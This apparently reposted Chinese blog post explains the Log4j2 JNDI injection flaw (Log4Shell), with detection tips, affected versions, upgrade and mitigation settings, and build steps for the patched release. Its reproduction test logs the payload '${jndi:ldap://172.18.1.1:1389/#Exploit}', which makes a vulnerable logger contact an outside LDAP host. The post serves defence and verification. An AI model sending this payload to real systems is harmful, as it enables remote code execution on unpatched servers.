栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

log4j关于JNDI注入漏洞验证及修复

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

log4j关于JNDI注入漏洞验证及修复

log4j关于JNDI注入漏洞验证及修复
  • 一、漏洞说明
  • 二、漏洞检测方案
  • 三、影响范围
  • 四、影响组件
  • 五、彻底解决方案(附升级包下载地址)
  • 六、临时缓解方案
  • 七、漏洞复现
  • 八、本地编译log4j-2.15.0-rc版本方法
    • 1、下载源码
    • 2、安装JDK8、9、11。
    • 3、用idea打开源码
    • 4、修改toolchains-sample-win.xml文件的JDK安装路径
    • 5、修改maven的conf目录下的toolchains.xml文件,设置java11的安装路径
    • 6、编译安装到本地仓库

一、漏洞说明

漏洞原理官方表述:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

二、漏洞检测方案

1、通过流量监测设备监控是否有相关 DNSLog 域名的请求
2、通过监测相关日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。

三、影响范围

Apache log4j2 >= 2.0, <= 2.14.1

四、影响组件

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Sping-boot-strater-loj2
ElasticSearch
Redis
Logstash

五、彻底解决方案(附升级包下载地址)

目前rc1版本已被绕过,建议使用如下官方临时补丁进行修复,升级至log4j-2.15.0-rc2;

升级包下载:log4j-2.15.0-rc2.zip

六、临时缓解方案

1、 禁止没有必要的业务访问外网。
2、设置jvm参数

“-Dlog4j2.formatMsgNoLookups=true”

3、设置

“log4j2.formatMsgNoLookups=True”

4、系统环境变量

“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”

七、漏洞复现

1、新建maven工程
2、pom文件内容如下



    4.0.0
    org.example
    log4j-test
    1.0-SNAPSHOT

    
        1.8
        1.8
        2.14.1
    

    

        
            org.apache.logging.log4j
            log4j-api
            ${log4j.version}
            compile
        

        
            org.apache.logging.log4j
            log4j-core
            ${log4j.version}
            compile
            
                
                    org.apache.logging.log4j
                    log4j-api
                
            
        


        
            junit
            junit
            RELEASE
            test
        
    


3、新建测试类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.Test;

import java.io.IOException;

public class Log4jTest {


    private static final Logger log = LogManager.getLogger();

    @Test
    public void test() throws IOException {
        log.error("${jndi:ldap://172.18.1.1:1389/#Exploit}");
        log.error("${}", "jndi:ldap://172.18.1.1:1389/#Exploit");
    }
}

4、启动wireshare,下载地址:https://2.na.dl.wireshark.org/win64/Wireshark-win64-3.6.0.exe
若存在漏洞,则将捕获到如下信息。如果不存在漏洞,而无信息。

八、本地编译log4j-2.15.0-rc版本方法 1、下载源码

https://github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc2.zip

2、安装JDK8、9、11。

注意:要3个都装上,并且当前使用的JDK要设置成Java8,可以执行java -version和javac -version验证一下。

我开始只装了8,不成功,提示需要9,然后后来装了9,还是不行,提示还需要11,最后装了11才在JDK环境上

3、用idea打开源码 4、修改toolchains-sample-win.xml文件的JDK安装路径



  
  
  
    jdk
    
      1.8
      sun
    
    
      D:Program FilesJavajdk1.8.0_301
    
  
  
    jdk
    
      9
      sun
    
    
      D:Program FilesJavajdk-9.0.4
    
  
  
    jdk
    
      11
      oracle
    
    
      D:Program FilesJavajdk-11.0.13
    
  

  

5、修改maven的conf目录下的toolchains.xml文件,设置java11的安装路径







  
  
    jdk
    
      11
      oracle
    
    
      D:Program FilesJavajdk-11.0.13
    
  


6、编译安装到本地仓库

执行mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml编译和安装到本地仓库。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/657675.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号